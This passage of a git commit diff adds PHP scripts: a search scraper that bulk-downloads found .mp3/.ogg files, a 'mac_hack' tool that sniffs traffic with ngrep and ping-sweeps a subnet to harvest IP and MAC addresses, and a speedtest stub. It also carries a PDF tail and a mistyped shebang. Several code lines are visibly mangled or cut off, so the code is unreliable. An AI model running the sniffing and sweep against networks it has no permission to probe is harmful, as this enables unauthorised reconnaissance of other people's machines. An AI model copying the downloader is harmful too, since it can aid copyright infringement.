+<> +endobj +13 0 obj +<> +endobj +14 0 obj +<> +endobj +15 0 obj +<> +endobj +xref +0 16 +0000000000 65535 f +0000000015 00000 n +0000000111 00000 n +0000000212 00000 n +0000000316 00000 n +0000000424 00000 n +0000004520 00000 n +0000012303 00000 n +0000020898 00000 n +0000021205 00000 n +0000021291 00000 n +0000021394 00000 n +0000021497 00000 n +0000021600 00000 n +0000021703 00000 n +0000021780 00000 n +trailer +<< /Size 16 /Root 15 0 R +>> +startxref +21828 +%%EOF diff --git a/php/http_server.php b/php/hhttpd/http_server.phps similarity index 99% rename from php/http_server.php rename to php/hhttpd/http_server.phps index 45f2726..92546f8 100755 --- a/php/http_server.php +++ b/php/hhttpd/http_server.phps @@ -1,4 +1,4 @@ -#!/usr/bin/php +#!usr/bin/php ", $line) && ereg(" class=ri", $line)) { + $line = explode("
$line
\n"); //XHTML Output + $results[$i] = $line; + $i++; + } + + } + } + fclose($fp); + } + echo("\nTotal: $i\n"); //Sumary Output + return $results; +} + +// +function download_url_array($results, $download_dir) { + //$download_dir = $GLOBALS["download_dir"]; + $fails = 0; $done = 0; + echo("\nDownloading to $download_dir ...\n"); + if(!is_dir($download_dir)) { + echo("Creating directory: $download_dir\n\n"); + mkdir($download_dir); + } else { echo("\n"); } + foreach($results as $id => $url) { + $file = url2filename($url); + echo("Downloading $file (#$id)... "); + $file = "$download_dir\\$file"; + if(!is_file($file) && @copy($url, $file)) { + echo("Done.\n"); + $done++; + } else { + if(is_file($file)) { echo("File already exists "); } + echo("Failed!\n"); + $fails++; + } + } + $totaldls = ($fails+$done); + echo("\n$done/$totaldls files successfully downloaded to $download_dir ($fails failed)\n"); +} + +///CODE////////////////////////////////////////////////////////////////////////////////////// +$results = jyxo_bot("interpret titul","mm","(.mp3|.ogg)"); //Text2Search +//print_r($results); //Array Output +//var_dump($results); //Detail debug output +//download_url_array($results, "X:\\JyxoBot"); //Automatic Download + +?> diff --git a/php/mac_hack.phps b/php/mac_hack.phps new file mode 100755 index 0000000..0151d6f --- /dev/null +++ b/php/mac_hack.phps @@ -0,0 +1,137 @@ + .*:.*", $line)) { + $line = explode(" ", $line); + $line = explode(":", $line[1]); + $ip = trim($line[0]); + + if(!in_array($ip, $ips)) { + $ips[$i] = $ip; + $i++; + + //You have $ip, you can do anything, that you want: + echo($ip." = ".get_mac($ip)."\n"); //Get it's MAC and print it + + } + } + } +} + +//Quick active scan for MACs and IPS +function quick_ipmac_scan($subnet = "192.168.1") { + for($i=1;$i<256;$i++) { + //Mega threaded ( This will open 255 processes ;)) + $fp[$i] = popen($GLOBALS["ping"]." ".$subnet.".".$i, "r"); + } + for($i=1;$i<256;$i++) { + while( $fp[$i] && !feof($fp[$i]) ) { fgets($fp[$i]); } + } + system($GLOBALS["arp"]); +} + +///Examples of usage:///////////////////////////////////////////////////////// +//You have to modify this script, to get that output format, that you want... + + +//Sniff for IPs: +echo("Sniffing for IP/MAC addresses\nC-c for stop\n\n"); +//This will sniff on 3rd device ("ngrep -L" for device listing) +//And only IPs that starts with "192.168" will be accepted +sniff_ips(3, "192.168"); //ngrep -d 3 | grep 192.168.*:.* -> .*:.* + +/* +Example output: +Sniffing for IP/MAC addresses +C-c for stop + +192.168.15.82 = This is your adapter, to find MAC try "ipconfig /all" +192.168.15.65 = 00-00-24-c1-e7-e8 +192.168.15.84 = 00-04-e2-cb-bc-6a +192.168.15.77 = Not found. Couldn't broadcast to IP. +192.168.15.80 = Not found. Couldn't broadcast to IP. +*/ + +//-------------------------------------------------------------------------- + + +//Quick active scan for MACs/IPs: +echo("Scanning for IP/MAC addresses\nC-c for stop\n"); +quick_ipmac_scan("192.168.1"); + +/* +Example output: +Scanning for IP/MAC addresses +C-c for stop + +Rozhrani: 192.168.15.82 --- 0x40003 + internetova  adresa fyzicka  adresa typ + 192.168.15.65 00-00-24-c1-e7-e8 dynamicka + 192.168.15.80 00-16-ce-0a-0e-a1 dynamicka +*/ + +//-------------------------------------------------------------------------- + +//Get MAC: +$ip = "192.168.15.82"; //This is your adapter, to find MAC try "ipconfig /all" +$ip = "404.168.15.82"; //Not found. Couldn't broadcast to IP. +$ip = "192.168.15.65"; +echo("IP: $ip\nMAC: ".get_mac($ip)."\n"); + +/* +Example output: +IP: 192.168.15.65 +MAC: 00-00-24-c1-e7-e8 +*/ + +?> diff --git a/php/speedtest-defunct.php b/php/speedtest-defunct.php new file mode 100755 index 0000000..b7734fc --- /dev/null +++ b/php/speedtest-defunct.php @@ -0,0 +1,10 @@ +

SpeedTest

+ \ No newline at end of file